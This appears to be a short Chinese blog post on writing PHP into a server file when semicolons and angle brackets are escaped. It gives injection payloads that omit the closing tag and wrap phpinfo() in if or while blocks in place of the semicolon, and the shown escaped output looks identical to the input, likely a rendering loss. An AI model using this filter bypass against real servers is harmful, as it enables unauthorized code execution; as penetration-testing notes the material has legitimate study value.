zoukankan      html  css  js  c++  java
  • php绕过分号(;)和尖括号(<>)转义

    实战中发现可写文件且内容可控,尝试写入phpinfo,发现分号(;)和尖括号(<>)被转义,如:尝试写入

    <?php phpinfo();?>

    实际得到:

    <?php phpinfo();?>

    分析分号(;)和尖括号(<>)两处转义,其中第一个尖括号转义不属于php内部,不起到转义作用,只是一个普通文本,不需要处理,第二个尖括号可以不使用

    此时变成:

    <?php phpinfo();

    关于分号(;)被转义,可以使用如下手法:

    <?php if(phpinfo()){}

    <?php while(phpinfo()){}

  • 相关阅读:
    CSP游戏 4
    CSP 交通规划
    CSP 地铁修建
    CSP 通信网络
    CSP URL映射
    CSP 权限查询
    CSP Markdown
    CSP JSON 查询
    SQL里的子查询
    SQL里的操作符
  • 原文地址:https://www.cnblogs.com/0day-li/p/14572265.html
Copyright © 2011-2022 走看看